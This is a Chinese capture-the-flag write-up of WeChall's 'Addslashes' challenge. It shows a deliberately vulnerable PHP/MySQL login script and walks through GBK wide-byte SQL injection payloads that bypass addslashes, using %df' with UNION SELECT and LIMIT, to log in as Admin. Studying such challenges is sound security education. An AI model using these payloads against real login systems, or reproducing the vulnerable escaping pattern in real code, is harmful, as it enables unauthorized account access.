WeChall上的一道题目 链接

Addslashes (Exploit, PHP, MySQL)

Your mission is to login as Admin.

You are given the source of the login script also as highlighted version.

Good Luck.

题目给出了源码

<?php
function asvsmysql_login($username, $password)
{
        $username = addslashes($username);
        $password = md5($password);

        if (false === ($db = gdo_db_instance('localhost', ADDSLASH_USERNAME, ADDSLASH_PASSWORD, ADDSLASH_DATABASE, GWF_DB_TYPE, 'GBK'))) {
                return htmlDisplayError('Can`t connect to database.');
        }

        $db->setLogging(false);
        $db->setEMailOnError(false);

        $query = "SELECT username FROM users WHERE username='$username' AND password='$password'";

        if (false === ($result = $db->queryFirst($query))) {
                return htmlDisplayError('Wrong username/password.');
        }

        if ($result['username'] !== 'Admin') {
                return htmlDisplayError('You are logged in, but not as Admin.');
        }

        return htmlDisplayMessage('You are logged in. congrats!');
}
?>

虽然这个连接数据库的方式俺没怎么见过。。 不过还是提取关键信息

  1. $username = addslashes($username);
  2. $query = "SELECT username FROM users WHERE username='$username' AND password='$password'";
  3. $result['username'] !== 'Admin'

按照常规的手段,当addslashesGBK相遇时,就是为了考察宽字节注入呗。 所以开开心心的构造URL username=-1%df' or 1=1 %23 所以得到了信息”You are logged in, but not as Admin.“
这里才发现这个判断不是摆设,也就意味着按照以上的拼接语句,得到的第一条记录,并不是 username为Admin的。 所以需要想办法获取到第二条、第三条的数据。。

可以利用LIMIT来实现这一目的 username=-1%df' union select username from users limit 2,3 %23 (当然偏移量是测试出来的)。。

所以这也可以知道,在开发中,仅仅通过单一某字段来进行校验用户的合法性,是不太安全的。


请相信你的指尖拥有改变世界的力量。